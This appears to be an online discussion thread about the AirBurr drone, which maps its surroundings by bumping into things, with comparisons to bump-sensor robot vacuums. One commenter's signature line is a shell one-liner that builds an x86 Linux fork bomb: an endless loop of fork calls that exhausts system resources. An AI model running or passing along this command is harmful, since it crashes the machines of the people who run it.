AirBurr UAV Navigates By Crashing Into Things
Zothecula writes "If you've ever watched a fly trying to find its way around a house, you might have noticed that it didn't take a particularly graceful approach – it probably bounced off a lot of windows and walls, until by process of elimination, it found a route that was clear. Well, researchers at Switzerland's EPFL Laboratory of Intelligent Systems are taking that same approach with the latest version of their autonomous AirBurr UAV – it's built to run into things, in order to map and navigate its environment."
That sounds similar to the approach that some took in my robotics class in college except those robots drove around on wheels and didn't fly. There hopefully is more brains in these things if they are mapping out their environment by doing so but the 64k we had to work with even allowed some some rudimentary mapping ability.
Time to offend someone
So essentially it mimics a drunk person? I have a suspicion I know how the idea for this research project first came up.
Rudolf Hess edited Mein Kampf. He was the very first grammar nazi.
Current approaches bounce radio, sound, and light off obstructions, using radar/sonar/laser mapping. This new approach bounces the physical object off obstructions, for the purpose of...? Being more easily detected? Making even more noise? Causing itself and everything around it more damage?
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Why don't they just graft tadpole eyes onto its butt?
https://app.box.com/WitthoftResume Code: https://github.com/cellocgw
This is how the roomba vacuum cleaners navigate, isn't it? What's new?
It's going to ding my car, damage my walls, break a window, and knock over a lamp before it assassinates me in my home now?
I browse on +1 so AC's need not respond, I won't see it.
Funrobot is MSI's somewhat Heath Robinson robotics brand. They've got high end ones with ultrasonic sensors
This is the M800
http://www.youtube.com/watch?v=RzV76Zjru5A
It works pretty well and can find the docking station to recharge. It is somewhat expensive (US$400 - above most people's impulse buy threshold)
The R500 has bump sensors
http://www.youtube.com/watch?v=6lFwhqcLnzo
It's cheap (about US$120) but also very irritating. Bump sensors make a lot of noise and it will also get stuck on cables, curtains and so on.
If you look on the net it is now very hard to buy an R500 but the M800 are [still being sold](http://ecshweb.pchome.com.tw/search/v2/?q=icleaner)
This makes me think that bump sensors are not a very good idea, even for vacuum cleaners.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If you have TRULY observed a fly trying to find its way around a house, you might have noticed that it in fact takes a very GRACEFUL approach: it never bumps to anything but almost completely transparent objects (as do many birds), and its true grace can be readily observed through 1500 fps videos.
It is one of the animals with the highest flight maneuverability, as two of its wings have evolved to counterweights: not only it can hover and take-off backwards, but it can land upside-down, and does so very skillfully. See youtube and BBC documentaries for further edification.
The three laws of thermodynamics:(1) You can't win. (2) You can't break even. (3) You can't even quit.